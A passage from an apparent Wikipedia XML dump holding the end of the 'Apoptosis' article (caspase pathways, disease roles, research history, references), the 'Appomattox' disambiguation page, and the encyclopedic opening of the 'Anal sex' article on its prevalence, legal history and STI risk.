The dying cells described, undergoing the final stages of apoptosis, display &quot;eat me&quot; signals, like phosphatidylserine (PS). Phosphatidylserine is normally found on the cytosolic (inner) surface of the plasma membrane, but is redistributed to the extracellular surface during apoptosis. Phagocytic scavengers, such as macrophages, have specialized receptors that recognize PS and carry out their disposal job in an orderly manner without eliciting an inflammatory response  [http://www.ncbi.nlm.nih.gov/entrez/query.fcgi?cmd=Retrieve&amp;db=pubmed&amp;dopt=Abstract&amp;list_uids=14645835], [http://www.ncbi.nlm.nih.gov/entrez/query.fcgi?cmd=Retrieve&amp;db=pubmed&amp;dopt=Abstract&amp;list_uids=14645848].

In studies on mouse embryos lacking PS receptors conducted by Ming O. Li and colleagues [http://www.ncbi.nlm.nih.gov/entrez/query.fcgi?cmd=Retrieve&amp;db=pubmed&amp;dopt=Abstract&amp;list_uids=14645847], un-ingested cells undergoing apoptosis accumulated in the brain and lungs, leading to neonatal lethality. However, another group that deleted the same gene found no abnormality in cell death, so developing the question whether this gene really does encode the PS receptor, rather than a nuclear localized transcription factor [http://www.ncbi.nlm.nih.gov/entrez/query.fcgi?cmd=Retrieve&amp;db=pubmed&amp;dopt=Abstract&amp;list_uids=15345036&amp;query_hl=22].

In another study [http://www.ncbi.nlm.nih.gov/entrez/query.fcgi?cmd=Retrieve&amp;db=pubmed&amp;dopt=Abstract&amp;list_uids=15155946], milk fat globule epidermal growth factor 8 (MFG-E8) was found to bind to phosphatidylserine on apoptotic cells and help [[macrophage]]s to engulf such cells.
Tingible body [[macrophage]]s highly express MFG-E8 on their plasma membranes.
Mice lacking MFG-E8 exhibited a decrease in phagocytosis of apoptotic cells, leading to an extreme increase in the production of IgG [[autoantibody|autoantibodies]].

=== Intrinsic and extrinsic inducers ===
Apoptotic messages from outside the cell (called ''extrinsic'' inducers) will be described in the next section, on biochemical execution of apoptosis.

Apoptotic messages from inside the cell (''intrinsic'' inducers) are a response to stress, such as nutrient deprivation or DNA damage, as explained by Chiarugi and Moskowitz in their previously-mentioned article on PARP-1.

Both extrinsic and intrinsic pathways have in common the activation of ''central effectors of apoptosis'', a group of cysteine proteases called ''[[caspase|caspases]]'', which carry out the cleaving of both structural and functional elements of the cell, resulting in the previously-described morphological changes.

=== Biochemical execution ===
Caspases are normally suppressed by [[inhibitor of apoptosis protein|IAP]] (inhibitor of apoptosis) proteins [http://www.ncbi.nlm.nih.gov/entrez/query.fcgi?cmd=Retrieve&amp;db=pubmed&amp;dopt=Abstract&amp;list_uids=11711663]. When a cell receives an apoptotic stimulus, IAP activity is relieved after SMAC (Second Mitochondria-derived Activator of Caspases, or its mouse homologue, called DIABLO), a [[mitochondrion|mitochondrial]] protein, is released into the [[cytosol]]. SMAC binds to IAPs, and in doing so &quot;inhibits the inhibitors,&quot; effectively preventing them from arresting the apoptotic process.

But, before we go on to a short description of how SMAC is released, we must take a look at two much-studied extrinsically-induced apoptotic processes: the TNF and the Fas pathways. Keep in mind, however, that both activating and inhibiting factors are present at each step of these pathways.

Tumor necrosis factor ([[TNF]]), a 157-amino acid intercellular signaling molecule ([[cytokine]]), is produced mainly by activated macrophages, and is the major extrinsic mediator of apoptosis. The cell membrane has two specialized receptors for TNF: TNF-R1 and TNF-R2. The binding of TNF to TNF-R1 has been shown to fire-off the pathway that leads to activating the caspases [http://www.ncbi.nlm.nih.gov/entrez/query.fcgi?cmd=Retrieve&amp;db=pubmed&amp;dopt=Abstract&amp;list_uids=12040173].

Fas (''a.k.a.'' Apo-1 or CD95), is another receptor of extrinsic apoptotic signals in the cell membrane, and belongs to the TNF receptor superfamily [http://www.ncbi.nlm.nih.gov/entrez/query.fcgi?cmd=Retrieve&amp;db=pubmed&amp;dopt=Abstract&amp;list_uids=12040174]. The Fas ligand (FasL, the protein that binds to Fas and activates the Fas pathway) is a transmembrane protein, and is part of the TNF family. The interaction between Fas and FasL results in the formation of the death-inducing signaling complex (DISC), which contains the Fas-associated death domain protein (FADD) and caspases 8 and 10. In some types of cells (type I), processed caspase-8 directly activates other members of the caspase family, and triggers the execution of apoptosis; whereas, in other types of cells (type II), the Fas DISC starts a feed-back loop that spirals into increasing release of pro-apoptotic factors from mitochondria (see below), and the amplified activation of caspase-8.

Downstream from TNF-R1 and Fas activation - at least in mammalian cells - a balance between pro- (like BAX, BID, or BAD) and anti-apoptotic (Bcl-Xl and Bcl-2) members of the [[Bcl-2|Bcl-2 family]] is compromised. This balance is the proportion of pro-apoptotic [[homodimer]]s that form in the outer-membrane of the mitochondrion. The homodimers (of molecules like BAK and BAX) are required in order to make the mitochondrial membrane permeable for the release of caspase activators. Just how BAX and BAK are controlled under the normal conditions of cells that are not undergoing apoptosis is incompletely understood. But it has been found that a mitochondrial outer-membrane protein, VDAC2, interacts with BAK to keep this potentially-lethal apoptotic effector under control. When the death signal is received, products of the activation cascade - such as tBID, BIM or BAD - displace VDAC2: BAK and BAX are activated, and the mitochondrial outer-membrane becomes permeable; it is seen that these members of the Bcl-2
family have a pore-forming domain, resulting in the release of caspase activators, namely [[cytochrome c]] [http://www.ncbi.nlm.nih.gov/entrez/query.fcgi?cmd=Retrieve&amp;db=pubmed&amp;dopt=Abstract&amp;list_uids=10713725], [http://www.ncbi.nlm.nih.gov/entrez/query.fcgi?cmd=Retrieve&amp;db=pubmed&amp;dopt=Abstract&amp;list_uids=12881569]., but other molecules like SMAC or AIF are also released.

Once [[cytochrome c]] is released, it binds with Apaf-1 and [[adenosine triphosphate|ATP]], which then binds to pro-caspase-9, creating a multi-protein complex known as apoptosome. The apoptosome cleaves this pro-caspase, rendering the active form of caspase-9, which in turn activates effector caspase-3. (''See also the articles on [[caspase]]s and the [[Bcl-2|Bcl-2 protein family]]'').

The whole process requires energy and a cell machinery not too damaged. If the cell damage is between certain levels, the cell can start the earliest events of apoptosis and then continue with a necrosis.

It must be advised, however, that the apoptotic pathways that have been summarily described are subject to regulatory mechanisms, and that there is not a one-to-one relationship between the reception of TNF or FasL and the complete execution of an apoptotic pathway. Fas, for instance, has been implicated - in a seemingly ironic way - in cell proliferation, through pathways that are not yet well understood; and both Fas and TNF-R1 trigger events that activate the transcription factor nuclear factor kappa-B (NF-&amp;#954;B), which induces the expression of genes that play an important role in diverse biological processes, including cell growth, cell death, cell development, and immune responses.

The link between TNF and apoptosis shows why an abnormal production of TNF plays a fundamental role in several human diseases, especially (but not only) in autoimmune diseases, such as diabetes and multiple sclerosis.

== Implication and role of apoptosis in diverse pathologies ==

===Apoptosis and HIV progression===
In the review article by [http://dx.doi.org/10.1099/vir.0.19110-0 Alimonti ''et al'' (2004)], they describe how HIV-1 causes apoptosis in bystander CD4+ T cells leading to AIDS.

=== Apoptosis and the role of interferon in tumor suppression ===
In their ''Nature'' article on the &quot;Integration of interferon-alpha/beta signaling to p53 responses...&quot; (see previous section on [[Apoptosis#Cell damage or infection|Cell damage or infection]]), Takaoka and co-workers have described their research on how [[interferon]]-alpha and -beta (IFN-alpha/beta) induce transcription of the ''[[p53 gene]]'', resulting in the increase of p53 protein level and enhancement of cancer cell-apoptosis. p53 Is a tumor suppressor, and is considered as a negative-growth and anti-oncogenic factor.

Work carried out by Takaoka and colleagues has contributed to clarify the role played by interferon in the treatment of some forms of human cancer, and has provided knowledge on the link between p53 and IFN-alpha/-beta. The p53 response not only contributes to tumor suppression but is also important in eliciting an apoptotic response to viral infection and consequent damage to the cell's reproductive cycle.

=== Cancer and defective apoptotic pathways ===
Liling Yang ''et al.'' reported in the [[15 February]] [[2003]], issue of ''Cancer Research'' [http://www.ncbi.nlm.nih.gov/entrez/query.fcgi?cmd=Retrieve&amp;db=pubmed&amp;dopt=Abstract&amp;list_uids=12591734] the results of their work in the role played by a defective death signal in a type of lung cancer cells called NCI-H460 (human non-small cell lung cancer cells). They found that the X-linked inhibitor of apoptosis protein (XIAP) is overexpressed in H460 cells. XIAPs bind to the processed form of caspase-9, and suppress the activity of apoptotic activator [[cytochrome c]] (see previous section on biochemical execution).

The apoptotic pathway was found to be dramatically restored in H460 cells with a Smac peptide (SmacN7) that targets IAPs. Yang and her team successfully developed a SmacN7 peptide that selectively reversed apoptosis resistance - and hence tumor growth - in H460 cells in mice.

(See also the role of [[Gefitinib]] and [[Peptidomimetic|peptidomimetics]] in restoring apoptotic pathways.)

=== Role of apoptotic products in tumor immunity ===
An interesting case of re-use and feed-back of apoptotic products was presented by Matthew L. Albert in a research article that won him an Amersham Biosciences &amp; Science Prize for Young Scientists in Molecular Biology, and published in ''Science Online'' in December, 2001. Albert described how dendritic Cells, a type of antigen-presenting cells, phagocytose (that is, engulf) apoptotic tumor cells. Upon maturation, these dendritic cells present antigen (derived from the apoptotic corpses) to killer T cells, which are then primed for the eradication of cells undergoing malignant transformation. This apoptosis-dependent pathway for T cell activation is not present during necrosis, and has opened exciting possibilities in tumor immunity research.

== Laboratory assays for apoptosis ==
The gold standard for detecting apoptosis in progress is still direct inspection for pyknotic bodies under [[microscope|light microscope]] or [[electron microscope]].  Less rigorous assays include:
* [[TUNEL assay]], in which broken DNA ends are labeled preferentially.  Note, however, that this will also detect less-orderly cell death such as [[necrosis]].
* [[Caspase]] assay, in which caspase cleavage of a marker protein allows detection.

== History and highlights in apoptosis research ==

A timeline of apoptosis research can be found in
Cell Death and Differentiation (2002) 9:349-54.[http://www.ncbi.nlm.nih.gov/entrez/query.fcgi?cmd=Retrieve&amp;db=pubmed&amp;dopt=Abstract&amp;list_uids=11965486&amp;query_hl=2]

===Early research, and the &quot;worm people&quot; at Cambridge===

[[Sydney Brenner]]'s studies on animal development began in the late-[[1950s]] in what was to become the [[Laboratory of Molecular Biology]] (LMB) in [[Cambridge]], UK. It was at this lab that during the 1970s and 1980s, a team led by [[John Sulston]] succeeded in tracing the [[nematode]] ''[[Caenorhabditis elegans | C. elegan's]]'' entire embryonic cell lineage. In other words, Sulston and his team had traced where each and every cell in the roundworm's embryo came from during the division process, and where it ended up.

[[H. Robert Horvitz]] arrived from the US at the LMB in 1974, where he collaborated with Sulston. Both would share the 2002 [[Nobel Prize in Physiology or Medicine]] with Brenner, and Horvitz would go back to the US in 1978 to establish his own lab at the [[Massachusetts Institute of Technology]].

Brenner's original interests were centered in [[genetics]] and in the development of the nervous system, but cell lineage and differentiation inevitably led to the study of cell fate: &quot;One aspect of the cell lineage particularly caught my attention: in addition to the 959 cells generated during worm development and found in the adult, another 131 cells are generated but are not present in the adult. These cells are absent because they undergo programmed cell death,&quot; as Horvitz narrated in his Nobel Lecture &quot;Worms, Life and Death,&quot; delivered on [[8 December]]. 2002 [http://nobelprize.org/medicine/laureates/2002/horvitz-lecture.html].

''Programmed cell death'' had been known long before &quot;the worm people&quot; began to publish their celebrated findings. In 1964 Richard A. Lockshin and Carroll Williams published their contribution on &quot;Endocrine potentiation of the breakdown of the intersegmental muscles of silkmoths&quot; in the ''Journal of insect physiology'' (10 p. 643), where they used the concept of  &quot;programmed cell death,&quot; during a time when not much research was being carried out on this topic. John W. Saunders, Jr., stated the following in his 1966 contribution titled &quot;Death in Embryonic Systems&quot;: &quot;abundant death, often cataclysmic in its onslaught, is part of early development in many animals; it is the usual method of eliminating organs and tissues that is useful only during embryonic or larval life...&quot; [http://www.ncbi.nlm.nih.gov/entrez/query.fcgi?cmd=Retrieve&amp;db=pubmed&amp;dopt=Abstract&amp;list_uids=5332319]. A little further on, this author lamented that too little had been done to analyze the significance of this process. Saunders, it should
be noted, recognized that he was building on earlier work by A. Glücksmann, and others.

Saunders and Lockshin reciprocally acknowledged that they benefitted from each other's work, and both pointed out the possibility that cell death might be regulated. Their observations helped to lead later work toward the genetic pathways of programmed cell death.

===Coining of the term ''apoptosis''===
In a signal article published in 1972, John F. Kerr, Andrew H. Wyllie and A. R. Currie, coined the term &quot;apoptosis&quot; in order to differentiate naturally-occurring developmental cell death, from the [[necrosis]] that results from acute tissue injury [http://www.ncbi.nlm.nih.gov/entrez/query.fcgi?cmd=Retrieve&amp;db=pubmed&amp;dopt=Abstract&amp;list_uids=4561027]. They also noted that the structural changes characteristic of apoptosis (see the section on Morphology, above) were present in cells that died in order to maintain an equilibrium between cell proliferation and death in a particular tissue (see [[Apoptosis#Homeostasis | Homeostasis]], above).

===1988===
Landmark research by David L. Vaux and colleagues described the anti-apoptotic and tumorigenic (tumor-causing) role of the human cancer gene ''bcl-2''  [http://www.ncbi.nlm.nih.gov/entrez/query.fcgi?cmd=Retrieve&amp;db=pubmed&amp;dopt=Abstract&amp;list_uids=3262202]. Researchers had been hot in the track of [[oncogene]]s (genes that played a prominent role in causing cancer), and now more and more of the pieces were falling into place. However, although ''[[bcl-2]]'' was the first component of the cell death mechanism to be cloned in any organism, identification of other components of the vertebrate mechanism had to await the linking of apoptosis (in vertebrate systems) with the mechanism for programmed cell death in the worm.

===1990s and later===
In 1991, Ron Ellis, Junying Yuan and Horvitz released a rounded and up-to-date account of research on programmed cell death in their &quot;Mechanisms and Functions of Cell Death&quot; [http://www.ncbi.nlm.nih.gov/entrez/query.fcgi?cmd=Retrieve&amp;db=pubmed&amp;dopt=Abstract&amp;list_uids=1809356]. Among other important work at Horvitz's laboratory, graduate students Hilary Ellis and Chand Desai had made the first discovery of genes that encode apoptosis-inducing proteins: ''ced-3'' and ''ced-4''.


Ron Ellis also identified a gene with an opposite effect: ''ced-9''. The product of this gene, CED-9, protects cells from programmed cell death, so its expression (or lack of) conveys a life-or-death decision on individual cells. In December 1992, David Vaux and Stuart Kim showed that human Bcl-2 could inhibit programmed cell death in the worm, thus linking PCD and apoptosis, revealing them to be the same, evolutionarily conserved process[http://www.ncbi.nlm.nih.gov/entrez/query.fcgi?cmd=Retrieve&amp;db=pubmed&amp;dopt=Abstract&amp;list_uids=1470921&amp;query_hl=14].

In 1994, Michael Hengartner published a paper showing that ''ced-9'' had similar sequence to ''[[bcl-2]]'' (which is not, actually, a single gene but a whole family of mammalian genes).

Horvitz would recount in his Nobel Lecture: &quot;I believe that the fact that Bcl-2 proved to look like a worm protein that antagonized programmed cell death helped convince researchers that the function of Bcl-2 was to antagonize the cell death process. I also believe that this similarity made the worm cell-death pathway suddenly a topic of major interest in the biomedical community, as this pathway was no longer simply an abstract formalism derived from complicated genetic studies of a microscopic soil-dwelling roundworm but rather a framework for a process fundamental to human biology and human disease.&quot;

In 1992, two independent teams working at pharmaceutical companies had identified and purified interleukin-1-beta-converting enzyme (ICE) in human cells, and succeeded in cloning the DNA sequence of this cysteine protease [http://www.ncbi.nlm.nih.gov/entrez/query.fcgi?cmd=Retrieve&amp;db=pubmed&amp;dopt=Abstract&amp;list_uids=1574116], [http://www.ncbi.nlm.nih.gov/entrez/query.fcgi?cmd=Retrieve&amp;db=pubmed&amp;dopt=Abstract&amp;list_uids=1373520]. The following year, graduate students Shai Shaham and Junying Yuan working in Horvitz's laboratory identified ICE as the mammalian counterpart of CED-3 (that is, the product of the ''ced-3'' gene in ''C. elegans'').[http://www.ncbi.nlm.nih.gov/entrez/query.fcgi?cmd=Retrieve&amp;db=pubmed&amp;dopt=Abstract&amp;list_uids=8242740&amp;query_hl=4]

In 1997, a protein similar to CED-4 was identified, in the laboratory of Xiaodong Wang (Department of Biochemistry, University of Texas Southwestern Medical Center at Dallas), which they called Apaf-1 (apoptotic protease activating factor). The team published their results in an article entitled &quot;Apaf-1, a human protein homologous to C. elegans CED-4, participates in cytochrome c-dependent activation of caspase-3&quot; [http://www.ncbi.nlm.nih.gov/entrez/query.fcgi?cmd=Retrieve&amp;db=pubmed&amp;dopt=Abstract&amp;list_uids=9267021].

Wang and his team identified and reconstituted the mitochondrial pathway to apoptosis (see Biochemical execution, above). Their published results illuminated whole new avenues of research on inflammatory diseases, cancer, and apoptosis, in general.

By 1998, research on the topic had already increased, as attested in the editorial &quot;Cell Death in Us and Others,&quot; written by an important contributor to apoptosis research, Pierre Golstein, in the [[28 August]]. 1998 issue of ''Science'': &quot;Although there have been scattered reports on the topic of cell death for more than a century, the 20,000 publications on this topic within the past 5 years reflect a shift from historically-mild interest to contemporary fascination.&quot; [http://www.ncbi.nlm.nih.gov/entrez/query.fcgi?cmd=Retrieve&amp;db=pubmed&amp;dopt=Abstract&amp;list_uids=9735040]

Kerr, Wyllie, and Currie, who coined the term apoptosis (''falling leaves'' in Greek), meant, among other features, to remark on the de-adhesiveness of apoptotic cells from their natural surroundings, following programmed cell death. [[Anoikis]] (''homeless'' in Greek) is chronologically an inverse process: de-adhesiveness of viable cells from their surroundings inducing programmed cell death. Integrins are essential adhesive molecules in this process, but additional factors probably play a role. Beyond the physiological importance, understanding these patterns will be relevant to maintaining the vitality of cells used for cell therapy. Abnormal apoptosis and clearance of apoptotic cells is a fundamental factor in the pathogenesis of numerous diseases including cancer, neuro-degenerative and ischemic diseases, AIDS, and autoimmunity. In systemic lupus erythematosus (SLE), the antigen responsible for most anti-DNA antibodies, exclusively generated in this disease, are derived from nucleosomes. As nucleosomes
are mainly generated during programmed cell death, excess of apoptotic material and altered clearance may induce autoreactive immune responses. On the other side of the spectrum, failure to die, as exemplified in MRL/1pr mice and human lymphoproliferative disorder, may allow persistence of autoreactive cells and prevent the resolution of inflammation. When combined, we may conclude that dying properly is essential for living properly.

== Etymology ==
Kerr, Wyllie and Currie (see [[Apoptosis#Coining_of_the_term_apoptosis | Coining of the term apoptosis]], above) adopted the Greek word for the process of leaves falling from trees or petals falling from flowers ([[Apoptosis#References|Gilbert 2003, p. 164]]).

==See also==
*[[Autolysis (biology)|Autolysis]]
*[[Caspase]]
*[[Bcl-2]]
*[[Perforin]]
*[[Granzyme]]s
*[[Immunology]]

==Further reading==
*Lawen, A. (2003). Apoptosis &amp;#8211; an introduction. ''BioEssays'' '''25''', 888-896.[http://www.ncbi.nlm.nih.gov/entrez/query.fcgi?cmd=Retrieve&amp;db=pubmed&amp;dopt=Abstract&amp;list_uids=12938178][http://www3.interscience.wiley.com/cgi-bin/abstract/104552885/ABSTRACT]

==References==
* Albert, M.L., ''[[Science (journal)|Science]]'' Online, [[21 December]] [[2001]] ([http://www.sciencemag.org/feature/data/pharmacia/2001/Albert.shl ScienceOnline]).
* Alberts, Bruce, Dennis Bray, Julian Lewis, Martin Raff, Keith Roberts &amp; James D. Watson (1994). ''Molecular biology of the cell'', 3rd edition.  Garland Publishing, Inc ([http://www.ncbi.nlm.nih.gov/books/bv.fcgi?call=bv.View..ShowTOC&amp;rid=cell.TOC EntrezBookshelf]).
* Bast, Robert C. Jr., et al. (eds) (2000).  ''Cancer Medicine'', 5th Edition.  B.C. Decker Inc ([http://www.ncbi.nlm.nih.gov/books/bv.fcgi?call=bv.View..ShowTOC&amp;rid=cmed.TOC&amp;depth=2 EntrezBookshelf]).
* Cerretti, D.P. ''et al.'', ''Science'' 256 p. 97, [[3 April]] [[1992]] (PMID 1373520).
* Chiarugi, A. and Moskowitz M.A., ''Science'' 297 p. 200, [[12 July]] [[2002]] (PMID 12114611).
* Chen, G. and Goeddel, D.V., ''Science'' 296 p. 1634, [[31 May]] [[2002]] (PMID 12040173).
* Cheng, E.H. ''et al.'', ''Science'' 301 p. 513, [[25 July]] [[2003]] (PMID 12881569).
* Damasio, Antonio (1999). ''The Feeling of What Happens'', Harcourt Brace &amp; Co., New York.
* Ellis, Ron ''et al.'', ''Annual Review of Cell Biology'' 7 p. 663-698, Nov 1991 (PMID 1809356).
* Fesik, S.W. and Shi, Y., ''Science'' 294 p. 1477, [[16 November]] [[2001]] (PMID 11711663).
* Gilbert, S. F.: ''Developmental Biology'', 7th ed., Sinauer Associates, Stamford, Ct., 2003 (6th ed. available at [http://www.ncbi.nlm.nih.gov/books/bv.fcgi?rid=dbio EntrezBookshelf]).
* Goeddel, D.V. ''et al.''(as authorities): Connection Map for Tumor Necrosis Factor Pathway, ''Science STKE'' ([http://stke.sciencemag.org/cgi/cm/CMP_7107]).
* Golstein, P.: ''Science'' 281 p. 1283, [[28 August]] [[1998]] (PMID 9735040).
* Guerrero and Ruiz, ''Science'' 301 p. 774, [[8 August]] [[2003]] (PMID 12907783).
* Horvitz, H.R., 2002 Nobel Lecture ([http://nobelprize.org/medicine/laureates/2002/horvitz-lecture.html NobelPrize.org]).
* Kerr, John F., Andrew H. Wyllie and A. R. Currie: &quot;Apoptosis: a basic biological phenomenon with wide-ranging implications in tissue kinetics&quot;, ''British Journal of Cancer'' 26, pgs. 239&amp;ndash;57, 1972 (PMID 4561027).
* Kihlmark, M.; Imreh, G.; Hallberg, E.; ''Journal of Cell Science'' 114 p. 3643, 2001 (PMID 11707516).
* Li, M.O. ''et al.'', ''Science'' 302 p. 1560, [[28 November]] [[2003]] (PMID 14645847).
* Murphy, K.M. ''et al.'', ''Cell Death and Differentiation'' 7 p. 112, Jan. 2000 (PMID 10713725).
* Nagata, S., ''Experimental cell research'' 256 p. 12, [[10 April]] [[2000]] (PMID 10739646).
* Saunders, J.W., ''Science'' 154 p. 604, [[4 November]] [[1966]] (PMID 5332319, [http://links.jstor.org/sici?sici=0036-8075%2819661104%293%3A154%3A3749%3C604%3ADIES%3E2.0.CO%3B2-I JSTOR]).
* Savill, J. ''et al.'', ''Science'' 302 p. 1516, [[28 November]] [[2003]] (PMID 14645835).
* Susin, S.A. ''et al.'', ''Journal of Experimental Medicine'' 192 p. 571, [[21 August]] [[2000]] (PMID 10952727).
* Takaoka, Akinori, ''et al.'', ''[[Nature (journal)|Nature]]'' 424 p. 517, [[31 July]] [[2003]] (PMID 12872134).
* Thayer ''et al.'', ''Nature'' 425, pgs. 851-856, [[23 October]] [[2003]] (PMID 14520413).
* Thibert ''et al.'', ''Science'' 301 p. 843, [[8 August]] [[2003]] (PMID 12907805).
* Thompson, C.B., ''Science'' 267 p. 1456, [[10 March]] [[1995]] (PMID 7878464).
* Thornberry, Nancy A. ''et al.'', ''Nature'' 356 p. 768, [[30 April]] [[1992]] (PMID 1574116).
* Vaux ''et al.'', ''Nature'' 335 p. 440, [[29 September]] [[1988]] (PMID 3262202).
* Wang, X. ''et al.'', ''Science'' 302 p. 1563, [[28 November]] [[2003]] (PMID 14645848).
* Wajant, H., ''Science'' 296 p. 1635, [[31 May]] [[2002]] (PMID 12040174).
* Wajant, H. (as authority): Connection Map for Fas Signaling Pathway, ''Science STKE'' ([http://stke.sciencemag.org/cgi/cm/CMP_7966]).
* Werlen ''et al.'', ''Science'' 299 p. 1859, [[21 March]] [[2003]] (PMID 12649474).
* Yu ''et al.'', ''Science'' 297 p. 259, [[12 July]] [[2002]]  (PMID 12114629).
* Zou ''et al.'', ''Cell'' 90(3) p. 405, [[8 August]] [[1997]] (PMID 9267021).

== External links ==
*[http://www.biochemweb.org/apoptosis.shtml Apoptosis (Programmed Cell Death) - The Virtual Library of Biochemistry and Cell Biology]
*[http://www.apoptosisworld.com Apoptosis World - Resources for apoptosis research]
*[http://www.caspases.org Apoptosis &amp; Cell Death research]

[[Category:Cell biology]]
[[Category:Death]]
[[Category:Immunology]]

[[cs:Apoptóza]]
[[da:Apoptosis]]
[[de:Apoptose]]
[[es:Apoptosis]]
[[fr:Apoptose]]
[[io:Apoptozo]]
[[he:אפופטוזה]]
[[lt:Apoptozė]]
[[hu:Apoptózis]]
[[nl:Apoptose]]
[[ja:アポトーシス]]
[[no:Apoptose]]
[[pl:Apoptoza]]
[[pt:Apoptose]]
[[ru:Апоптоз]]
[[sl:Apoptoza]]
[[su:Apoptosis]]
[[fi:Apoptoosi]]
[[sv:Apoptos]]
[[zh:细胞凋亡]]</text>
    </revision>
  </page>
  <page>
    <title>Appomattox</title>
    <id>2459</id>
    <revision>
      <id>15900868</id>
      <timestamp>2005-04-11T09:11:24Z</timestamp>
      <contributor>
        <username>Darwinek</username>
        <id>107928</id>
      </contributor>
      <minor />
      <text xml:space="preserve">'''Appomattox''' may refer to:
*[[Appomattox, Virginia|Appomattox]] -- town in Virginia
*[[Appomattox County, Virginia|Appomattox County]] -- county in Virginia
*[[Appomattox Basin]] -- region in Virginia
*[[Appomattox Court House]] -- court house and National Historical Park in Virginia
*[[Appomattox Manor]] -- manor in [[City Point, Virginia|City Point]]
*[[Appomattox River]] -- river in Virginia
*[[Battle of Appomattox Courthouse]] -- battle of American Civil War
*[[Battle of Appomattox Station]] -- battle of American Civil War


{{disambig}}</text>
    </revision>
  </page>
  <page>
    <title>Anal sex</title>
    <id>2460</id>
    <restrictions>move=:edit=</restrictions>
    <revision>
      <id>42159448</id>
      <timestamp>2006-03-04T05:21:28Z</timestamp>
      <contributor>
        <username>The tooth</username>
        <id>652482</id>
      </contributor>
      <minor />
      <comment>RV</comment>
      <text xml:space="preserve">[[Image:Romanmanandyouth.jpg|thumb|''Roman man and youth having anal sex.'', Cameo perfume bottle, ca. 30 CE;  Found in [[Estepa]], [[Spain]].]]
'''Anal sex''' or '''anal intercourse''' is a commonly practiced form of [[human sexual behaviour]] in some cultures. It involves the [[anus]] and possibly the [[rectum]], especially, but not limited to, the [[sexual penetration|insertion]] of the erect [[penis]] into the rectum through the anus. 

The use of [[sex toy]]s and other activities involving the anus and rectum may be considered anal sex as well. Anal sex can be pleasurable for both the insertive partner and the receptive partner, as the anus contains many of the same kinds of [[nerves]] as the penis or [[clitoris]].

For women, pleasure is derived from anal intercourse because the rectum shares a wall with the vagina and therefore shares some of the nerve endings associated with sexual pleasure.  The anus itself also contains a number of nerves which can react pleasurably when excited.  

For males, the tightness of the anus is often said to be a source of pleasure for the &quot;active&quot; partner in penetrative anal sex, while the presence of the [[prostate]] gland near the rectal wall is a source of pleasure during receptive anal intercourse. A sexual climax for the recipient (referred to colloquially as an [[anal orgasm]]) can occur through anal sex.

Many people view anal sex with disgust because of the relationship between the anus and feces. However, it is not uncommon for the rectum to be relatively vacant most of the time, the feces entering only just before defecation. Some fecal matter might still remain in the rectum between movements (albeit in minimal quantity); thus some couples use enemas - either [[enema|wet]] or [[dry enema|dry]], followed by shower or [[bidet]] use - for cleansing before engaging in any anal activity.

==Overview==
The term [[sodomy]] is imprecise, but is often used as a synonym for anal sex, particularly in older works. However, it often also refers to various other sexual activities. For instance, depending upon the [[jurisdiction]], the legal definition of sodomy may include any non-[[sexual intercourse|coitus]] act, including [[oral sex]] and [[zoophilia]].

Anal sex has been [[taboo]] in many Western countries since the [[Middle Ages]], when [[heresy|heretical]] movements were sometimes slandered by rumours that their members practiced anal sex among themselves. At that time the mainstream [[Christianity|Christian]] [[clergy]] was not celibate, but the highest orders of some heretical sects were, leading to rumours that their celibacy was a sign of their attraction to members of the same sex.  The term ''buggery'' originated in [[medieval]] [[Europe]] as an insult used to describe the rumoured same-sex sexual practices of the heretics from the ''Buggre'' sect. This sect originated in medieval [[Bulgaria]], where its followers were called ''[[bogomil]]s'', but when they spread out of the country they were called ''buggres'' (from the ethnonym ''Bulgars'').

Some medieval European woodcuts portray persons [[kiss]]ing the anus of a goat-like figure representing the Christian [[Devil]].  

As recently as 2003, several jurisdictions in the [[United States]] had laws making anal sex and other forms of [[sodomy]] a crime. Many of these statutes purported to prohibit anal sex by same-sex partners.  In 2003, [[John Geddes Lawrence|John Lawrence]] and Tyron Garner brought a landmark suit that challenged as unconstitutional [[Texas]]'s anti-sodomy law before the [[United States Supreme Court]]. Lawrence and Garner had previously been apprehended in Lawrence's home in the act of anal sex, after a neighbour had made a false noise complaint to the local police. The Supreme Court struck down the Texas law by a 6&amp;ndash;3 vote. Five of the justices joined the deciding opinion, which overturned the Court's previous ruling on sodomy in ''[[Bowers v. Hardwick]]''. The Court reached the conclusion that the [[Due Process Clause]] of the [[Fourteenth Amendment to the United States Constitution]] prohibited the state from regulating private behaviours between adults without furthering a legitimate state interest. The governmental interest behind the law, moral objection to homosexuality, was held to not be a legitimate interest. (See ''[[Lawrence v. Texas]]''.)

Although it is also practiced by [[heterosexual]]s and [[bisexuality|bisexuals]], anal sex is often associated with [[homosexuality|homosexual]] men. However, like persons of other [[sexual orientation]]s, some [[gay]] and [[bisexuality|bi]] men enjoy sexual activities of this kind while others do not.

The [[vagina]] normally produces its own [[lubrication]] during sex; the [[rectum]] does not, so a store-bought [[personal lubricant]] is recommended by most [[sexologist]]s for an enjoyable anal sex experience. According to the [[Centers for Disease Control and Prevention]] and the [[World Health Organization]], unprotected anal sex carries more risk of [[sexually transmitted infection|STI]] transmission than [[vaginal sex|vaginal]] or [[oral sex|oral]] sex.  To reduce the risk of transmitting STIs such as [[HIV]], people are recommended to use a latex [[condom]] for all sexual contact which could result in transfer of [[body fluid|bodily fluids]], including anal sex.

==Anal sex among heterosexuals==
[[Edward O. Laumann]]'s ''The Social Organization of Sexuality: Sexual Practices in the United States'' found that about 20% of heterosexuals have engaged in anal sex, and sex researcher [[Alfred Kinsey]] found that number to be closer to 40%.  More recently, a researcher from the [[University of British Columbia]] (quoted in the [[May 5]] [[2005]] issue of ''[[The Georgia Straight]]'') puts the number of heterosexuals who regularly practice anal sex at between 30% and 50%.

In several cultures (such as the [[Mediterranean]] area, [[Middle East]] and [[Latin America]]) female receptive anal intercourse in a heterosexual context is widely accepted, especially as there is less risk of unwanted [[human pregnancy|pregnancy]] via unprotected anal than unprotected vaginal intercourse.  Anal sex is sometimes seen as preserving female [[virginity]] (or at least preserving an intact [[hymen]] until [[marriage]]) {{fact}}. 

One appeal of heterosexual anal sex may be the fact that the anus is generally tighter than the vagina. Some consider penetrating the tighter orifice to be a more pleasurable experience.

In certain contexts male-male anal intercourse among males who otherwise identify as heterosexual is seen as a temporary behaviour to which they resort when confined in single-sex environments, such as [[prison sexuality|prisons]] or soldiers separated from partners. (See: ''[[Situational sexual behavior]]'' and ''[[Prison sex]]'') Some men have sex with men without categorising themselves as homosexual or bisexual. These [[men who have sex with men]] (MSM) may still identify as heterosexual while engaging in same sex activity from time to time. (See [[Down-low]].)

==Anal sex among gay/bisexual men==
